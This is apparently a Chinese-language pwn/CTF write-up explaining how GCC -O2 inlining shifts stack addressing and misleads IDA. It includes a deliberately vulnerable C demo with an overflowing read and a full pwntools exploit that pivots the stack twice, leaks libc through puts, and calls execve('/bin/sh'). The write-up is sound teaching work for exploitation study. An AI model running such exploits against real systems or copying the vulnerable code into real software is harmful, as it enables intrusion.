O-Pwn
最近一个朋友和我在研究为什么有些时候IDA偏移分析失误时发现当程序ebp寻址改成了esp寻址有可能会导致IDA的偏移出现失误,那么编译参数有可能就加上了O参数
GCC 编译器的 -O
参数用于控制代码优化的级别,不同的优化级别会影响程序的执行效率、编译时间和生成的可执行文件大小
加上了-O参数后会导致原本的ebp寻址变成了esp寻址,IDA偏移分析失误这种情况通常出现在memcpy()复制函数溢出中
直接简单的溢出即使ebp寻址改成了esp寻址 IDA仍然偏移分析正确,但是随着O的参数的增加优化级别也更高,在O2的情况下
一些简短的存在漏洞的函数会被直接放在main函数中,编译器并不会为其开辟新的栈帧,如以下的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| #include <stdio.h> #include <string.h>
static char src[0x500];
#pragma GCC optimize("-fno-stack-protector")
void load(){ setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); } void vuln(){ char buffer[64]; read(0,buffer,0x48); }
int main() { load();
printf("pwn me!\n"); read(0,src,0x490);
printf("let's overflow,but you seem can't cover the ret_addr\n"); vuln(); printf("Hack for Fan\n"); return 0; }
|
下面是编译参数
1
| gcc demo.c -o demo0 -g -m32 -O2
|
下面是IDA逆向出的代码
1 2 3 4 5 6 7 8 9 10 11 12
| int __cdecl main(int argc, const char **argv, const char **envp) { _BYTE buf[68]; // [esp+0h] [ebp-48h] BYREF
load(); puts("pwn me!"); read(0, src, 0x490u); puts("let's overflow,but you seem can't cover the ret_addr"); read(0, buf, 0x48u); puts("Hack for Fan"); return 0; }
|
可以发现原本的vuln函数里的代码直接被放到main函数里了,这时就不能直接溢出了,因为通过调式发现以下汇编代码(以下情况仅32位会出现)
1 2 3 4 5 6
| ► 0x804841f <main+95> mov ecx, dword ptr [ebp - 4] 0x8048422 <main+98> add esp, 0x10 0x8048425 <main+101> xor eax, eax 0x8048427 <main+103> leave 0x8048428 <main+104> lea esp, [ecx - 4] 0x804842b <main+107> ret
|
那么这种情况的话就只能通过2次栈迁移来进行rop了
下面是exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import *
context(arch='i386', os='linux',log_level='debug') #context.terminal = ["tmux", "splitw", "-h"]
elf = ELF('./demo0') libc = ELF('./libc.so.6') sh = process('./demo0') #gdb.attach(sh, 'b *0x8048413\nc') pop_ebx = 0x08048359 pop_3 = 0x080485b9 pop_esp = 0x08048557 src_addr = 0x0804A060 base_stage = 0x200 bss_addr = src_addr + base_stage pivot_addr = bss_addr + 0x4
payload = cyclic(base_stage) + p32(elf.symbols['puts']) + p32(pop_ebx) + p32(elf.got['puts']) payload += p32(elf.symbols['read']) + p32(pop_3) + p32(0) + p32(bss_addr - 0x100) + p32(0x40) + p32(pop_esp) + p32(bss_addr - 0x100) sh.sendafter('pwn me!\n', payload)
payload = cyclic(0x44) + p32(pivot_addr) sh.sendafter('ret_addr\n', payload)
puts_got = u32(sh.recvuntil('\xf7')[-4:]) success(hex(puts_got)) libc.address = puts_got - libc.symbols['puts']
payload = p32(libc.symbols['execve']) + p32(pop_3) + p32(next(libc.search('/bin/sh\x00'))) + p32(0) + p32(0) + p32(0xdeadbeef) sh.send(payload)
sh.interactive()
|